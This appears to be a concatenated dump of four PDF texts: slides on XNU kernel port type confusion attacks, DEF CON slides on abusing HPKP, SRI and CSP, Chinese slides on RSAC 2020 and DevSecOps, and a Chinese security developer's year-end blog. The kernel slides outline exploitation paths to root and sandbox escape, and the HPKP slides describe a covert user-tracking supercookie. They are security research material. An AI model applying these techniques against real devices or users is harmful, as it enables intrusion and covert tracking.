objects to prevent type confusions • e.g., convert_port_to_task has the zone_id_require check for the task object Attack 1: (in)direct function pointers vtable iouserclient retainCount … userLandNotiﬁcationKey UNDReply Callback Lock … cl_service clock cl_ops cl_control Many kernel objects contain (in)direct function pointers If we have a kernel object with controllable value at any gray offsets, we can cast its port to the target type, and then hijack the control ﬂow on pre-PAC devices. … ideal object Controllable value Controllable value … Attack 2: info leak via processor_info() • convert_port_to_processor only performs a type check Attack 2: info leak via processor_info() • processor_info() fetches CPU information according to the cpu_id value in the processor object (at offset 76) Attack 2: info leak via processor_info() • We have a perfect suitable object that has fully controllable value at offset 76 — semaphore! … semaphore task_link ref_count +0 count active +72 +76 Attack 2: info leak via processor_info() Base + arbitrary offset Attack 3: steal IOUserClients • In the past, a common attack path against the kernel is: • Achieve ROP/JOP execution in a system service within a less restrictive sandbox • Open an IOUserclient and then exploit kernel vulnerabilities in the kernel extension • This way is getting harder and harder now • More and more system services cannot open any IOUserclients unless they have the com.apple.security.iokit-user- client-class entitlement • More and more IOUserclients require the creator task owns dedicated entitlements • Besides, IOUserclient ports cannot be sent across tasks Attack 3: steal IOUserClients Task IORegistryGetRootEntry IORegistryEntryGetChildIterator IOIteratorNext IORegistryEntry Root Other IOService Instances … AppleCamIn AppleKeyStore AppleCamInUserClient (Applecamerad) AppleKeyStoreUserClient (keybagd) AppleKeyStoreUserClient (containermanagerd) A simpliﬁed IOServices Tree Attack 3: steal IOUserClients Task IORegistryGetRootEntry IORegistryEntryGetChildIterator IOIteratorNext IORegistryEntry Root Other IOService Instances … AppleCamIn AppleKeyStore AppleCamInUserClient (Applecamerad) AppleKeyStoreUserClient (keybagd) AppleKeyStoreUserClient (containermanagerd) A simpliﬁed IOServices Tree Task IORegistryGetRootEntry IORegistryEntryGetChildIterator IOIteratorNext IORegistryEntry Root Other IOService Instances … AppleCamIn AppleKeyStore AppleCamInUserClient (Applecamerad) AppleKeyStoreUserClient (keybagd) AppleKeyStoreUserClient (containermanagerd) A simpliﬁed IOServices Tree send right to the user client with port type IKOT_IOKIT_OBJECT Attack 3: steal IOUserClients IKOT_IOKIT_OBJECT limits the IOUserClient instance to expose only the IOService interfaces, rather than its IOUserClient interfaces Attack 3: steal IOUserClients • We can change IKOT_IOKIT_OBJECT to IKOT_IOKIT_CONNECT! • We can traverse the IOService tree and use any IOUserclient instance freely • Many “low-hanging fruit” vulnerabilities in some “well-protected” IOUserClient interfaces • Many IOUserClient instances (especially on macOS) that have powerful enough capabilities to manipulate the devices, without the need of memory corruptions Attack 3: steal IOUserClients • Example 1: AppleH10CamInUserClient • Require the com.apple.camera.iokit-user-access entitlement to create a new AppleH10CamInUserClient instance • But we now freely use the exiting instances • Selector 77 triggers a stack overﬂow A special note: the vulnerable kernel function only uses PACIBSP to protect the return address, but doesn’t use the stack guard. As a result, the stack overﬂow can overwrite the registers spilled to the stack. Attack 3: steal IOUserClients • Example 2: ApplePPMUserClient • com.apple.private.ppm.client • com.apple.private.ppm.superclient • Heap Overﬂow in ApplePPMUserClient::sRegisterClient (selector 26) Attack 4: spoofed NMS • XNU has a very privileged port: host_security • host_security_set_task_token can change a task's security token! • By resetting our token to the kernel token, we can send NMS to any port Attack 4: spoofed NMS - voucher UAF ☞ When a voucher object receives a NMS, it will call ipc_voucher_notify ipc_voucher_release decreases the voucher’s reference counter (iv_refs) and deallocates the voucher object for the last reference ☞ Attack 4: spoofed NMS - voucher UAF PoC Attack 4: spoofed NMS - semaphore UAF ☞ When a semaphore object receives a NMS, it will call semaphore_notify semaphore_dereference decreases the semaphore’s ref_count and deallocates the semaphore object for the last reference ☞ Attack 4: spoofed NMS - semaphore UAF PoC • semaphore is a very interesting object. Its ref_count is stored at offset 72. • semaphore_dereference will decrease the value at offset 72. Attack 5: spoofed NMS + type confusion … semaphore task_link ref_count +0 count active +72 +76 • We can 1) change a port type to IKOT_SEMAPHORE, and 2) then send NMS as many times as we want, so that the value at offset 72 will be decreased as many times as we want before it becomes 0. Attack 5: spoofed NMS + type confusion Smaller object Larger object some_value … … semaphore task_link ref_count +0 count active +72 +76 Out-of-bounds decreasement ☞ ☞ In-bounds decreasement Attack 5: spoofed NMS + type confusion Change the iterator port from IKOT_IOKIT_OBJECT to IKOT_SEMAPHORE, and send NMS to the port IOUserIterator is allocated at default.kalloc.32 ☞ IOUserIterator +0 +8 +16 +24 OSArray->array OSArray->array Ptr OSArray->array +32 +40 +48 +56 +64 +72 semaphore_dereference(IOUserIterator) decrease any times Spray OSArray with capacity=4, so that array buffers are also allocated at default.kalloc.32 ☞ ☞ Attack 6: trick kuncd • kuncd is a user space service that is supposed to only handle mach message from the kernel to execute user-space tools on macOS • kuncd checks the audit_token in the mach message trailer so that it only handles mach messages from the kernel • Now we can send a mach message to kuncd to launch terminal as root Attack 7: Access to any Mach services Task Launchd 1. bootstrap_lookup Service 2.send right to the service 3. IPC channel to the service Kernel (Sandbox extension) ☜ Query the kernel with pid/p_idversion ☜ The mach message carries a trailer With the fake host security port, we can set our token to pid=1, p_idversion=1, which is the launchd’s token Launchd’s sandbox is super nice, so we can bypass the mach-lookup sandbox check Attack 7: Access to any Mach services err = 1100, service_port=0 Before we reset our token to launchd’s token Attack 7: Access to any Mach services After we reset our token to launchd’s token applecamerad will return this plist ﬁle to our app ☞ Conclusion • Variant analysis brings surprises • Port type confusion forms a giant attack surface • A vulnerability may have many ways to exploit Thank you!	pdf
Abusing Bleeding Edge Web Standards for AppSec Glory Bryant Zadegan Ryan Lester Advisor/Mentor CEO, Co-Founder Mach37 Cyph keybase.io/bryant [email protected] @eganist @TheRyanLester • Does AppSec stuff, usually. • Mentors security startups, sometimes. • “Mentors” others on AppSec, occasionally. • Paid a buck to make Steve Ballmer dance, but just once. • Runs an E 2EE communication startup • Codes for an E 2EE communication startup Ran QA automation at a • rocket factory Got sued by Napster (and • not for piracy) Bleeding Edge Web Standards For Your (Ab)use, we'll talk about these: But Why? Source: Harold & Kumar Go to White Castle • New standards are frequently drafted. • Many introduce unforeseen complications. • Novel uses encourage future tweaks. S R I • Validate resources beyond your trust (e.g. CDNs) <script src="https://code.jquery.com/jquery.min.js" integrity="sha256-[hash] sha256-[hash2]" crossorigin="anonymous" fallback-src="jquery.min.js"> </script> • caniuse.com/subresource-integrity S R I • Validate resources beyond your trust (e.g. CDNs) <script src="https://code.jquery.com/jquery.min.js" integrity="sha256-[hash] sha256-[hash2]" crossorigin="anonymous" x-sri-fallback="jquery.min.js"> </script> • caniuse.com/subresource-integrity BUILDER DEMO heisenberg.co/srifallbackdemo/ Kneel to the demo gods SOURCE (Simplified BSD) github.com/cyph/sri-fallback Do source gods even exist? CSP • Combines semi-strict header with strict <meta>. • Allows for pre-loading of trusted complex logic. • Does not work for the verbs frame- ancestors, report-uri, or sandbox. BUILDER DEMO heisenberg.co/metacspdemo/ Fall on thy sword for the demo gods. CSP Considerations • Static content only in initial response! CSP • Best for adapting a semi -recent application for use with CSP. • Application ’s trusted static logic is allowed to execute on initial load. • Meta -Hardening prevents dynamic content from potentially executing later on. • This can break sites. Use ! – (Chrome 46+ only; no reporting in Firefox 😐) Public-Key-Pins : max-age=5184000; includeSubdomains; pin-sha256="az9AwClWuHM+fYV+d8Cv9B4sAwdcoUqj93omk18O/pc="; pin-sha256="5UONcYAsFtYscIlFlm4+aodoL20RRHzGaOeoSNEZ+iA="; "https://report-uri.io/report/[id]/reportOnly" • caniuse.com/hpkp Deliberate self-bricking via HPKP + Rapid Key Rotation. Let's spend 20 minutes on how we can use this: – to enable in browser code signing – to control content changes and harden SRI. – to enable nuanced web content blocking. (NetSec) – to track users… – to be total jerks… ...in ways we shouldn't put in print. (Thanks Jann Horn @ Cure53 for putting us onto this!) Wait, in-browser code signing? No extensions? In theory. In the last slide’s content pinning scheme, code signing logic goes in the ServiceWorker. This effectively gets us Trust On First Use for current and future code. Why “In theory”? This sounds like it should work. In fact, Cyph employs a mature, audited implementation of exactly this. However, it was considered so novel that we had to apply for a patent on it. But, you can come close to this for free if you… Control local storage updates! Harden SRI! • Set HPKP max-age to count down to your deployment date. • Rotate routinely. Benefits: • Retain control of front-end content between releases. • Mitigate risks of SRI hash tampering server- side. Considerations: • HPKP Suicide + SRI is a design-time decision! – Single Page Apps (SPAs) only BUILDER DEMO redskins.io I don't believe in demo gods Web Content Gateway e.g. [SomeVendor]? Lock your users out of sites even when they're not on your network! 1. For flagged domains, set HPKP headers. 2. Optionally, Rotate keys weekly at the gateway. Done! (By us disclosing it, is this now prior art? ) Oh... https://crt.sh/?id=19538258 Issuer: commonName = VeriSign Class 3 Public Primary Certification Authority - G5 Subject: commonName = organizationalUnitName = Symantec Trust Network organizationName = "Blue Coat Systems, Inc." User tracking? Well, we really shouldn't talk about this… But since this is DEF CON... …let's track users! Pre-requisites: Lots of (sub)domains to pin Browsers that allow HPKP incognito Rapid Key Rotation (Thanks! ) Server-side • /set: Returns HPKP header • /check: No-op — no HPKP header, status code 200 Client-side (JavaScript) • Set new ID: Hit /set on random subset of domains • Check ID: Hit /check on all domains; note failures BUILDER DEMO cyph.wang I don't believe in demo gods Not implemented by Google. We only ran the script in console. Not implemented by Reddit. We only ran the script in console. Considerations: Risk: DoSing tracker domains as a public service 1. Domain whitelist for your own tracker, or 2. App-issued and tracker-verified nonce if analytics is your business model. The pattern described is similar to others here: https://tools.ietf.org/html/rfc7469#section-5 SOURCE (New BSD) github.com/cyph/hpkp-supercookie Do source gods even exist? …to be total jerks? we really shouldn't talk about this… Hat Tip To Geller Bedoya, DigiCert, @el_d33, Jonn Callahan, Jann Horn and all of Cure53, Samy Kamkar, Jim Manico, Mike McBryde, Jim Rennie and his superb legal skill, Garrett Robinson, John Wilander, Doug Wilson, as well as the Chrome, Firefox, and Let's Encrypt security teams for their contributions. github.com/cyph/appsec-glory Bryant Zadegan Ryan Lester Advisor/Mentor CEO, Co-Founder Mach37 Cyph keybase.io/bryant [email protected] @eganist @TheRyanLester	pdf
2020年RSAC关键热点 DevSecOps左移开发安全思路分享 2 安全圈的奥斯卡已开幕 RSAC已在美国当地时间2月24日—28日开启 RSA大会是信息安全界最有影响力的业界盛会之一。RSA大会一年一度分别在美国、欧洲和日本举办，其议程设计由信息安全从业者及其它相关专业人士评判和制定。RSA大会一直吸引着世界上最优秀的信息安全人士，创造机会让参会者跟同辈和杰出人物、跟新兴企业和知名企业直接交流，了解信息安全的最重要课题。 3 聊些八卦 ✓ 外国友人想请你喝一杯的时候要三思如果你有朋友或同事是第一次参与！ ✓ 不在非授权情况下接受外媒采访 4 一起来认识RSA RSA 大会是信息安全界最有影响力的业界盛会之一一、那它为何如此受到安全行业的重视？二、创新沙盒奖项是什么？三、今年的RSA又有哪些热点？ 5 RSA的前世今生 RSAC承接信息安全产品的过去与未来！ 5 2013 4 2008 3 2002 2 1995 1 1991 6 2016 起源出发 911 呼救斯诺登苹果创新沙盒成为了全球安全圈关注的话题创新沙盒奖项，信息安全的风向标资产发现资产分析资产梳理资产管理威胁处置协同扩展 7 RSA十大热点分享 RSA 大会宣布了第15届创新沙盒竞赛的十位决赛入围者。 2020年2月24日，入围RSA大会创新沙盒“十强”的企业将在大会现场各自进行3分钟左右的展示并回答委员会的问题。创新沙盒的初衷是为网络安全领域的初创企业提供平台，让他们展示自己的创新技术或愿景，以及他们可能为信息安全行业带来的变革与发展。Securiti.ai 已获得今年冠军。 WEB安全应用安全代码安全安全意识漏洞管理隐私安全/数据治理邮件安全 SAAS安全 SAAS安全从热点看未来从入选的企业来看未来的网络安全行业将会聚焦在隐私、SaaS、DevSecOps 等热点方向。 https://forallsecure.com/ https://blubracket.com/ 在市场和技术的推动下，近年的创新沙盒中，多次出现DevSecOps相关产品，比如今年的左图两家公司， 2019年的DisruptOps（云基础设施检测与修复）、 ShiftLeft（软件代码防护与审计）等。融合+自动化 8 9 常见的软件生命周期空气墙处理滞后沟通成本高各为孤岛难协调信息不对称意识不足… 表面上看铁桶一个，密不可破，实际却…….. 10 DevOps的出现 Dev=Devilopment(开发) Ops=Operation(运维) 这个词是Patrick Debois于2009年创造的，是公认的 DevOps之父。以自动化为基础，以合作为黏合剂，以业务为目标的软件全生命周期的最佳实践！ 11 何为DevOps？覆盖计划、需求、设计到开发、测试、部署、运维、运营的封闭式全生命周期  最佳实践  成熟度模型  技术流程 12 DevOps目的 ISO27000 ⚫ 快速交付价值，灵活响应变化 ⚫ 全局打通敏捷开发&高效的运维模式 ⚫ 系统应用指导原则、最佳实践 ⚫ 端到端工具链相互联通&整合提高企业的营收、利润及市场占有率软件全生命周期的闭关（敏捷开发、持续交付、技术运营）技术手段效果原则 13 DevOps软件分布图 14 DevOps下我们的安全是如何做的？牵一发而动全身高效敏捷持续 X X X 开发测试安全人员运维人员上线后发现安全问题！ 15 我们损失的不止是时间研发阶段研发阶段发现的漏洞可以由开发直接FIX，成本低，效率高。测试阶段测试阶段发现的漏洞，由测试提交给研发，需要一定的沟通成本，相对来说FIX的效率较高。发布阶段发布到线上后检测出的漏洞，需要安全人员给出方案，与研发人员沟通，由测试人员验证，也需要承受一定可能性的线上风险，相对成本较高。运行阶段运行一段时间后，被白帽子或监管报告发现的漏洞，需要付出额外的金钱，沟通成本高，需要再FIX的时间，需要运维，发布的介入，修复成本成倍数的上升，给企业带来相当大的风险和成本压力。研发研发测试研发测试运维安全产品研发测试运维安全产品业务公关老板 x1 x2 x10 x100 100倍 16 何为DevSecOps? 来自 Gartner 研究公司的分析师 David Cearley 认为，当今的 CIO或者 CSO 应该修改 DevOps 的定义，使之包括安全理念。他称之为 DevSecOps， “它是糅合了开发、安全及运营理念以创建解决方案的全新方法”。 17 DevSecOps与DevOps的区别? 安全重心的思路转变 SEC Devops时代安全团队的尴尬 Devops 快速的迭代和发布过程中，安全因为缓慢节奏被弃在一旁，整个流程中没有安全质量的考虑和控制，安全团队也对安全质量无计可施。建设人人都对安全负责的DEVSECOPS 企业建设人人都对安全负责的DECSECOPS 流程是大势所趋，在这个过程中安全团队扮演专家的角色，更好的优化整个流程，而安全细节被所有人一起完成，整个企业安全效果和质量及关注度都得到全面的提升。 18 DevSecOps的现状 https://blog.csdn.net/FL63Zv9Zou86950w/article/details/88549243 19 DevSecOps有多复杂？ ◼ 需求与需求的管理 ◼ 开发和交付过程的可视化 ◼ 产品开发和交付计划 ◼ 促进价值流动 ◼ 产品的部署和发布 ◼ 持续过程改进 ◼ 质量和质量改进 ◼ 产品及业务的创新与探索 ◼ 管理与组织结构的改进 ◼ 网络安全 ◼ 数据安全 ◼ 应用安全 ◼ 平台安全 ◼ 开发安全 ◼ 运维安全 ◼ 系统安全 ◼ DataBase ◼ Jenkins ◼ Java ◼ Jira ◼ Git ◼ UI ◼ 自研软件开发 ◼ 外包软件开发 ◼ 产品经理 ◼ 运维人员 ◼ 安全人员 ◼ 开发人员 ◼ 测试人员 20 DevSecOps安全分部图需求设计架构设计编码阶段编译构建测试阶段预发布阶段发布阶段线上运维、运营阶段信息安全管理/合规业务上线之前业务上线之后网络安全系统安全数据安全运维安全平台安全… 开发安全持续安全运营管理平台 21 DevSecOps中涉及到安全的领域（安全管理/合规）信息安全管理合规培训制度流程规范权限措施组织结构… KPI 国际法规网络安全法等保2.0 行业规范… 22 DevSecOps中涉及到安全的领域 1、开发安全 2、数据安全 3、网络安全 4、系统安全 5、运维安全 6、业务安全 7、平台安全 8、应用安全数据情报日志策略管理 DevSecOps 安全管理运营平台 23 DevSecOps安全实施注意事项 2.目标 3.人 4.技术 5.计划 1.准备将信息安全更好地集成到每个人日常工作中 24 左移开发安全左移开发安全是DevSecOps的基础，也是效果最显著的方式之一 Dev Ops 大多数企业是空白有一定安全建设基础 Sec 25 SDL：Security Development Lifecycle SDL最佳实践 S D L 是微软提出的从安全角度指导软件开发过程的管理模式。是将设计、代码和文档等安全相关漏洞减到最少，在软件开发的生命周期中尽可能的早得发现并解决相关漏洞建立的流程框架；为了实现保证最终的用户安全，在软件开发各阶段中引入针对项目安全和用户隐私问题的解决方案。帮助软件研发类企业在产品研发过程中减少产品的安全问题，并通过方法实践从每个阶段提高产品的整体安全级别。 26 SDL：目标通过SDL体系与相关安全平台的建设，支撑开发过程中的安全介入，提前发现、解决应用系统安全漏洞，将95%的高危漏洞消灭在开发阶段，避免应用带病上线。 ◼ 建立SDL安全开发生命周期管理体系，指导开发过程中的安全活动。 ◼ 引入安全测试能力，并与管理流程平台进行整合，建立自动化、一体化安全开发管理平台。 ◼ 通过安全赋能培训，提升员工安全开发意识和应用系统安全开发相关能力。 ◼ 通过过程管理，实现安全漏洞前置发现，及时修复，降低漏洞修复成本。 ◼ 开发部门和安全部门相互配合相互促进，确保安全开发流程执行，沉淀知识库。 ◼ 为DecSecOps打好安全能力基础部分。安全开发建立体系工具平台沉淀知识执行流程 27 SDL：编码阶段（静态白盒测试）代码仓库分支 IDE插件持续集成 IDE安全插件 CI增量扫描持续集成扫描手写代码安全提醒安全标准意识教育增量代码安全扫描关联代码安全分析仓库整体安全分析代码安全定期巡检 ⚫能够覆盖 OWASP 安全编码规范要求、CWE安全编码规范要求，及常见的安全风险。 ⚫支持JAVA、C++等常见语言，Windows、Android、ios、linux平台的应用。 ⚫自带编码修复建议，研发人员可以快速修复风险。 ⚫与持续集成和代码仓库及IDE无缝集成，覆盖研发人员的各个coding阶段。静态白盒测试 28 SDL：测试阶段（动态灰黑盒测试）测试人员灰黑盒测试 QACASE Android/IOS APP SERVER WebSite 被动采集 ⚫ 主动采集和被动采集访问日志，完成项目安全测试。 ⚫ 逻辑漏洞检测拥有一定的能力。 ⚫ 无需专业知识，测试人员快速介入项目安全测试。 ⚫ 通过人工+自动化审计并发现数百种安全漏洞，保证上线前不遗漏。 ⚫ 对复杂业务模型、web api、后台等无法被爬虫覆盖的业务进行检测。 ⚫ 需要进行安全回归测试。 29 技术对比参考图白盒SAST 黑盒（渗透测试） DAST 交互式IAST 误报率高低极低（几乎为零）漏洞检出率中低高测试覆盖度高（覆盖全部代码）低高（覆盖单元测试、集成测试、系统测试全过程）检测效率约2周约1周约3天逻辑漏洞检测不支持需要人工干预手工检测逻辑漏洞支持是否需要获取源代码需要不需要不需要易用性需要懂代码的研发人参与（不同的程序语言代码，需要懂相应代码的研发人员参与），且需要研发人员排除误报。需要经验丰富的渗透人员参与，需要验证漏洞零安全基础、零研发基础的人员都能使用 30 SDL：预上线阶段（环境安全监控） 1 2 3 4 环境安全监控 7X24h 线上安全监控监测逃避SDL行为监控并发现未经过SDL流程上线的应用，并进行安全审计。应用框架漏洞监控并发现struts、spring等开发框架漏洞。应用服务漏洞监控并发现nginx、apache、resin等应用服务器漏洞。第三方组件漏洞监控并发现上传组件、编辑组件等第三方组件安全漏洞。漏洞生命周期闭环 31 SDL：汇总阶段（威胁知识库&威胁建模）产品经理项目需求输入威胁知识库需求分解风险分析安全方案需求安全分析报告研发解决方案研发&架构师 ⚫ 相关信息的收集、录入、整理、归并。 ⚫ 输出详细技术解决方案，研发快速理解风险并找到解决方案。威胁分析模型威胁资源库安全基线威胁情报库病例库业务场景库 32 典型案例介绍 • 开发安全过程管理流程完善（安全需求分析、安全设计、安全测试、安全上线等规范完善），各类管理规范发布与执行，开发安全岗位职责及要求 • 开发安全质量度量管理、PMO安全漏洞评估管理 • Confluence-安全管理文档接入 • 白、灰黑盒与Jira项目管理平台接入 • app渗透检测工具与pipeline接入 • app架构平台与pipeline接入 • 灰黑盒动态测试平台（IAST）落地 • 白盒静态测试平台（SAST）落地 • 解决C端业务安全控制实现《C端开发安全需求清单》中整改任务 XXSDLC开发安全项目建设内容 • 开发安全意识教育 • 开发安全编码培训 • 行业安全开发时间培训 • 产品使用及工具链使用培训 33 SDL实践过程中常见的问题汇总为什么我做了SDL缺难有成效？一、缺乏合理的开发安全质量考核二、企业员工安全能力和安全经验不足三、SDL流程表单工具缺乏或者不够完善四、企业未能形成SDL管理流程的闭环最终总结一下不要因为技术的先进性盲目的跟从来做安全！安全技术是一把双刃剑 THANK YOU www.moresec.cn	pdf
⼜到了提笔写年终总结的时候，和以前拼命想记录⽣活状态不同，这次我却不知道从哪开始写起。就想到啥写啥吧。北京今年年初来到了北京，没有了昔⽇了朋友，在北京还是很孤独的。跨年夜我和⼥朋友吃完晚饭，说想找个地⽅⼀起跨年，竟然发现没有什么好去的地⽅。想到三⾥屯离我们最近，那边应该好玩，打开打⻋软件发现附近堵⻋已经堵了⼏条街了，瞬间打消了去意，想买点东⻄回家吃，但是已经快10点，附近超市什么的都关⻔了，也想不到买点啥，就这样两⼿空空回到出租屋和好友们在游戏中度过了跨年的钟声。 Hacking8安全信息流写总结第⼆个想到的就是总结⼀下hacking8，这是我今年花费时间最多的⼀个东⻄，我得好好总结下，从去年五⽉⼀号写第⼀⾏代码到现在，从中踩了不少坑和学到了不少东⻄。去年的总结中⽹站很⻓⼀段时间都是开放注册，需要”解题”才能获得邀请码，这样很酷。⽬前注册⼈数已经有700多⼈了，每天⼤约会有5个⼈签到～平均每天会有200来个独⽴IP访问。今年这个数字都翻倍了，注册⽤户到了 1700+ ，每天⼤约会有 40 ⼈签到，⽹站⽇ip达到了 500-600 。这不算是很⾼的增⻓，不过对于我个⼈来说还是很激动。毕竟有越来越多的⼈认可了hacking8。之前服务器部署⼀些服务都抠抠搜搜，今年索性买了⼀台好点的服务器，⽤来⽀持⼀些研究，也上了全⽂索引，让搜索更加⽅便。今年上半年花了很多时间⽤在修改hacking8的bug上，因为涉及⽤户系统的操作，代码量的成倍增加，⼀会web挂了，⼀会爬⾍挂了，⼀会⼜要处理⼀些⼩⼯具服务的bug，服务挂掉后，会通过 Bark ⼿机提醒我，但我把它声⾳提醒早早就关闭了，因为有时候晚上会⼀直响。。常常就是早上醒来，发现了提醒99+的错误消息。。然后每次都要重新登陆上服务器，检查服务，修改bug，重启服务。下半年我决⼼改掉这些，不想在过多去⼿动操作了，想让hacking8全程都⾃动起来，此时才明⽩开发中⾃动测试的重要性，于是做了⼀键⾃动部署/重启爬⾍，⾃动测试爬⾍失效状态，⾃动化的服务监测系统等等，开发完后就很少再登陆服务器检查错误了，觉得还不错～新功能⽇常在做的还有不停的砍需求，经过这么⼀年，hacking8的主体功能就是信息流的推送⼯具，外加⼀些其他的辅助功能。平时我会有很多新的想法，但奈何只有我⼀⼈业余开发维护，很多想法突然来了灵感，就想⽴⻢加上，此时我的另⼀个脑袋就会拼命拉住我，说不⾏，让⼦弹⻜⼀会。所以什么周报总结、github监控、微信公众号监控等等都被⾃我否掉了，精⼒实在有限。之前还想模仿即刻做⽤户的圈⼦社区，写了个笔记记录了下想法，之后也被⾃我否掉了，因为我还没有能⼒能运营起⼀个圈⼦社区，不能营造那种氛围。 Hacking8的界⾯主体还是 bootstrap 框架搭建的，⼏年过去还是没有⼀丝丝改变，虽然⽐较简陋，看⻓了也就习惯了。界⾯上改变的就是把图标焕然⼀新了，把原先的 Font AweSome 换成了阿⾥的 iconfont ，也算是有个新⽓象。 Hacking8在今年也加⼊了些功能，通常就是⼀些⼩想法，将它实现为了在线的⽅式。这些⼩功能通常也都写了博客记录了，如⽩加⿊⾃动化⽣成器 https://x.hacking8.com/post-430.html CS上线器 https://x.hacking8.com/post-428.html dll2shellcode https://x.hacking8.com/post-413.html ⼩8微信机器⼈刚开始做微信机器⼈，主要⽬的是监控公众号的，后⾯有点想法，想做个群聊机器⼈，对接信息流的最新数据⽤于学习，定时推送或主动@机器⼈推送。然后机器⼈第⼀天就被加爆了，被官⽅⻛控，现在还没解封。。写这篇⽂章前⼀天，⼜想到⼀个点⼦。看在元旦能不能给安排上。。微信公众号公众号"Hacking就是好玩"在去年关注的⼈有 2400+ ，今年也整整番了⼀倍，有 4800+ 常读⽤户今年在公众号发了⽂章27篇，也刷新了我的记录，每篇都是原创，阅读量都在1000+。收⼊有好多⼈联系想在公众号投放⼴告，⼀篇的价格在700左右，挺诱⼈的，我想了想，还是拒绝了。写公众号是作为⼀个业余爱好，有些东⻄还是保持最初的样⼦⽐较好。通过知识星球的收⼊，也能够⽀撑起 Hacking8信息流和公众号的⽇常维护了。⼯作⼯作今年换了⼯作，也聚集于安全开发上，主要做windows⽅⾯的，将红队中常⽤的⼿段以⼯程化的⽅式实现，语⾔在 Go、C、C++、Python、NodeJs上切换，前三个主要是写客户端，⽤Python主要写后端和⼀些爬⾍脚本，⽤node 和vue主要写 electron 。在windows上，没有写c#是⼀个遗憾，除⾮必要，我也不太想花精⼒再学⼀⻔语⾔了。公司氛围也很轻松，所以有时间进⾏各种的技术学习，看了很多代码，把它们⼀些精华吸收了下记录在了博客， github和知识星球。 github issue收集了不少感兴趣的资料 https://github.com/boy-hack/boy-hack/issues 回望⼀下今年做了些什么，这是今年我博客发表⽂章的统计图，和去年相⽐⽂章数量是增加的。今年把 projectdiscover 的项⽬全都过了⼀遍，写了⼏篇源码阅读分享，在知识星球上我还布置了⼏次有关扫描器的作业。今年学习了逆向，基于逆向，对Go编译的⼆进制进⾏混淆，基于逆向，逆向yara和提取goby指纹，这是最好玩的事情之⼀了。关于红队开发，⽬前还是停留在免杀层⾯，从免杀⼊⼿，开始了解windows平台的各种机制，和沙软对抗，⽤⼯程化的⽅式将免杀的技战术组合在⼀起，组合成各类免杀模块。没有深⼊内⽹，也是今年的遗憾之⼀。关于技术的深度和⼴度我的技术栈很⼴，总是这个想了解⼀下，那个也想试试，保持了⾜够的好奇⼼。但要说哪个厉害，似乎也没有哪个。技术的精进还是得有⼀个⻓处，还是得对⼀个技术保持深度的理解和影响⼒。回顾计划去年的年终和年中总结都制定了计划 2020年终分析⼀个远控了解它的功能和隐藏，执⾏⼿段，写个分析以及模仿写个软件完成，看了很多go的rat和c2源码，写了⼀些分析在知识星球 Hacking8信息流还有很多功能需要更新，列个清单并更新它基本完成，没有完成的都砍掉了建造⼀个SRC⾃动化信息收集平台，输⼊⼀些域名，就能得到src需要的⼀切信息收集相关的东⻄。主要是整合⾃⼰之前做的⼀些东⻄。没有完成。但是实现了⾃动化⼯具，包含了⼦域名扫描+检测、httpx扫描、指纹识别、nuclei+xray模板扫描。只等待有空集成进去。 2021年中准备做⼀个知识星球，⽤于分享安全与开发的⼀些东⻄，⼀些开源代码的讲解，它们有什么功能，特点是啥，有哪些值得学习的。⽐较纠结的是安全圈感兴趣的是各种漏洞的利⽤，各种⼯具的使⽤，对⼯具原理并不是那么在乎，我的知识星球能坚持多久也未知。今年也创建了我的知识星球，知识星球的收⼊很⼤程度缓解了压⼒。很多⿊客和安全⼯具的构造是那么巧妙，我看了很多安全⼯具的代码，将它们值得学习的地⽅记录了下来。⼀点点开发+安全的结合，Hacking⾃动化就是好玩，这个仓库将持续更新星球中的精华⽂章，源码和思路，付费加⼊是我更新的动⼒。⽬前星球的⼈数有199⼈，承蒙⼤家相信，未来星球会分享更多东⻄。模仿bugscan扫描器的go版本扫描器还是得做，不管其他的，我得要有，⾃⼰⽤也⾏啊。没做成。。⼆进制还得看，完成10道简单的crackme和pwn题吧，写⽂章发博客～完成了⼀些简单的re题，pwn还没开始学... ⽣活⽣活很平常了，两点⼀线，除了公司就是出租屋了，并且在⼀条街道上，真正的两点⼀线了，都不带拐弯的。在去公司路上听听书，听了《明朝那些事》，⼜在B站看了《⼤明王朝1566》的解说，还挺不错。看了⼀本书《只是为了好玩——Linux 之⽗林纳斯⾃传》,⾥⾯有很多有趣的句⼦和思考，如下：关于⽣活的意义的讨论三件事：⽣存、社会秩序、娱乐，⽣活中所有事情遵循这个顺序，某种意义上说，⽣活的意义就是要达到第三个阶段。我的理解，计算机编程也能有这三个意义，第⼀是通过计算机编程这⻔⼿艺⽣存，第⼆是凭借计算机编程这⻔⼿艺进⼊⼀家⼤公司，进⼊到第三个境界，把编程看作⼀项娱乐活动来玩，写代码也能获得快乐。之前我的⼀些随笔⼜在疑惑，为什么⼯作后⼀些有关代码的兴趣消失了，这个“⽣活的意义”似乎可以解答，在⼤学时候，处于⽣活意义的第三阶段，所以写代码是快乐的，但是⼯作后，退回到了第⼆阶段。关于编程的美妙下⾯这段话很有同感为什么对编程这么狂热，我⾃⼰也解释不来，我姑且说说看吧：在编程的⼈看来，编程是世上最有意思的事情了，它要⽐国际象棋之类的游戏复杂得多，你想要什么规则都可以⾃⼰设定。按照你定下的规则，它的结果该是什么，就会是什么。不过，似乎在外⾏⼈看起来，编程简直是地球上最⽆趣的事。编程刚刚开始会令⼈觉得特别刺激，这个原因很好解释：因为你让电脑⼲什么，它就⼲什么，没有毫厘之差，并且永远服从、毫⽆怨⾔。但是单靠这⼀点，并不⾜以让你真正喜欢上编程。事实上，电脑的盲从只会让编程变得⽆趣，编程真正让⼈欲罢不能的魅⼒是:你想让电脑⼲什么事情之前，必须先弄清除，怎么样才能让它这么⼲。计算机科学和物理科学有不少相似的地⽅，它们都是在⼀个⾮常基础的层⾯上探讨整个学科的运作原理，不同的是在物理科学上，你得去弄清楚这个已存在世界是如何正常运转的，⽽在计算机科学上，你得从零开始创造出⼀个新世界来，⽽且还得设法让它正常运转。书中⼀个趣事新上的unix课，⽼师和我们⼀样，对unix也不熟悉。他⼀开始就很坦率的告诉了我们这⼀点，所以这不是什么⼤问题。不过他只会提前预习下⼀章，但有时候我们会提前跳着读后⾯三个章节，于是上课就变成了⼀种师⽣⽐赛，学⽣们向⽼师提⼀些三章后才学到的问题，看能不能把⽼师问倒，看他是不是已经读到了那⾥。 